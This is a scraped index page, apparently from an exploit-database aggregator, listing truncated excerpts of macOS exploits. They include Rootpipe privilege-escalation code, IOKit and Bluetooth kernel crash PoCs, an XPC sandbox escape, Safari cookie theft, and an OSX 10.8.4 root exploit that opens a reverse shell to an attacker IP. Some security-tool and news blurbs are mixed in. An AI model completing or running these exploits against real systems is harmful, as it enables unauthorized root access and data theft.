TestDisk 6.14 Check_OS2MB Stack Buffer Overflow

, , . '.' '. ', . , '. , .', , / / / \ \ ==/ /\ \ / / \ / \ / / | \ \ Y Y \ / /| / \ /||| / / /.-. / /:wq x.0 '=.|w|.=' =''"''=. presents.. TestDisk 6.14 CheckOS2MB Stack Buffer Overflow Affected versions: TestDisk 6.14 - Linux, Windows and Mac OSX PDF:...

Apple Mac OSX - Local Denial of Service

Apple Mac OSX - Local Denial of Service / 2015, Maxime Villard, CVE-2015-1100 Local DoS caused by a missing limit check in the fat loader of the Mac OS X Kernel. $ gcc -o Mac-OS-XFat-DoS Mac-OS-XFat-DoS.c $ ./Mac-OS-XFat-DoS BINARY-NAME Obtained from: http://m00nbsd.net/garbage/Mac-OS-XFat-DoS.c...

Apple Mac OSX - Local Denial of Service

/ 2015, Maxime Villard, CVE-2015-1100 Local DoS caused by a missing limit check in the fat loader of the Mac OS X Kernel. $ gcc -o Mac-OS-XFat-DoS Mac-OS-XFat-DoS.c $ ./Mac-OS-XFat-DoS BINARY-NAME Obtained from: http://m00nbsd.net/garbage/Mac-OS-XFat-DoS.c Analysis:...

Rekall - The Most Complete Memory Analysis Framework

The Rekall Framework is a completely open collection of tools, implemented in Python under the GNU General Public License, for the extraction of digital artifacts from volatile memory RAM samples. The extraction techniques are performed completely independent of the system being investigated but...

Apple Mac OSX 10.910 - Local Privilege Escalation

Apple Mac OSX 10.910 - Local Privilege Escalation / osx-irony-assist.m Copyright c 2010 by Apple MACOS X include import import / where you want to write it! / define BACKDOORBIN "/var/db/.AccessibilityAPIEnabled" int doassistivecopyconst char spath, const char dpath NSAutoreleasePool pool =...

Apple Mac OSX - 'Rootpipe' Local Privilege Escalation (Metasploit)

This module requires Metasploit: http://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' class Metasploit4 'Mac OS X "Rootpipe" Privilege Escalation', 'Description' = %q This module exploits a hidden backdoor API in Apple's Admin framework ...

Apple Leaves CNNIC Root in iOS, OSX Certificate Trust Lists

When it was revealed late last month that a Chinese certificate authority had allowed an intermediate CA to issue unauthorized certificates for some Google domains, both Google and Mozilla reacted quickly and dropped trust in CNNIC altogether, Apple has kept the root certificates in its trusted...

Apple Mac OSX < 10.7.5/10.8.2/10.9.5/10.10.2 - 'Rootpipe' Local Privilege Escalation

PoC exploit code for rootpipe CVE-2015-1130 Created by Emil Kvarnhammar, TrueSec Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2 import os import sys import platform import re import ctypes import objc import sys from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions from...

Apple OSX/iOS/Windows Safari Non-HTTPOnly Cookie Theft

A vulnerability exists in versions of OSX, iOS, and Windows Safari released before April 8, 2015 that allows the non-HTTPOnly cookies of any domain to be stolen. Module Options msf use auxiliary/gather/apple/safariftpurlcookietheft msf undefinedsafariftpurlcookietheft show actions ...actions... m...

OSX-10.8.4-Local-Root-Privilege-Escalation

sudo 1.6.0 through 1.7.10p6 and sudo 1.8.0 through 1.8.6p6 allows local users or physically proximate attackers to bypass intended time restrictions and retain privileges without re-authenticating by setting the system clock and sudo user timestamp to the epoch...

Apple Mac OS X DFont Memory Corruption Remote Code Execution Vulnerability

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Apple Mac OSX. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of a...

Apple Mac OSX 10.9.5 - IOKit IntelAccelerator Null Pointer Dereference

Apple Mac OSX 10.9.5 - IOKit IntelAccelerator Null Pointer Dereference // clang -o ig23exploit ig23exploit.c -framework IOKit -framework CoreFoundation -m32 -DFORTIFYSOURCE=0 // ianbeer include include include include include include include include uint64t kernelsymbolchar sym char cmd1024;...

Apple Mac OSX 10.10 - IOKit IntelAccelerator Null Pointer Dereference

Apple Mac OSX 10.10 - IOKit IntelAccelerator Null Pointer Dereference include include include include include int main kernreturnt err; CFMutableDictionaryRef matching = IOServiceMatching"IntelAccelerator"; if!matching printf"unable to create service matching dictionary\n"; return 0; ioiteratort...

Apple Mac OSX networkd - 'effective_audit_token' XPC Type Confusion Sandbox Escape

// Requires Lorgnette: https://github.com/rodionovd/liblorgnette // clang -o networkdexploit networkdexploit.c liblorgnette/lorgnette.c -framework CoreFoundation // ianbeer include include include include include include include include include include include include include...

OpenGraphiti: Data Visualization Engine

OpenGraphiti is a free and open source 3D data visualization engine for data scientists to visualize semantic networks and to work with them. It offers an easy-to-use API with several associated libraries to create custom-made datasets. It leverages the power of GPUs to process and explore the da...

Apple Mac OSX 10.10 - BlueTooth DispatchHCIWriteStoredLinkKey Crash (PoC)

Apple Mac OSX 10.10 - BlueTooth DispatchHCIWriteStoredLinkKey Crash PoC / lpe-issue1.c Written for Mac OS X Yosemite 10.10.1 by @joystick and @rpaleari. Exploits IOBluetoothHCIUserClient::DispatchHCIWriteStoredLinkKey gcc -Wall -o lpe-issue1,.c -framework IOKit / include include include include...

Apple Mac OSX 10.10 - BlueTooth BlueToothHCIChangeLocalName Crash (PoC)

/ crash-issue2.c: Written for Mac OS X Yosemite 10.10 by @rpaleari and @joystick. Triggers a panic overwriting a stackcanary. gcc -Wall -o crash-issue2,.c -framework IOKit / include include include include include include struct BluetoothCall uint64t args7; uint64t sizes7; uint64t index; ; int...

Apple Mac OSX 10.10 - BlueTooth DispatchHCICreateConnection Crash (PoC)

/ crash-issue1.c: Written for Mac OS X Yosemite 10.10 by @rpaleari and @joystick. Exploits a missing check in IOBluetoothHCIUserClient::DispatchHCICreateConnection causing a panic. gcc -Wall -o crash-issue1,.c -framework IOKit / include include include include include include define SIZE 0x1000...

Apple Mac OSX 10.9.x - sysmond XPC Privilege Escalation

/ Source: https://code.google.com/p/google-security-research/issues/detail?id=121 / / tested on OS X 10.9.5 - uses some hard-coded offsets which will have to be fixed-up for other versions! this poc uses liblorgnette to resolve some private symbols; grab the code from github: git clone...

OSX-10.8.4-Local-Root-

Exploit Title: OSX 10.8.4 Local Root Priv Escalation Root Reverse Shell Date: 08-27-2013 Exploit Author: David Kennedy TrustedSec Website: https://www.trustedsec.com Tested On: OSX 10.8.4 import subprocess IPADDR for REVERSE SHELL - change this to your attacker IP address ipaddr = "192.168.1.1"...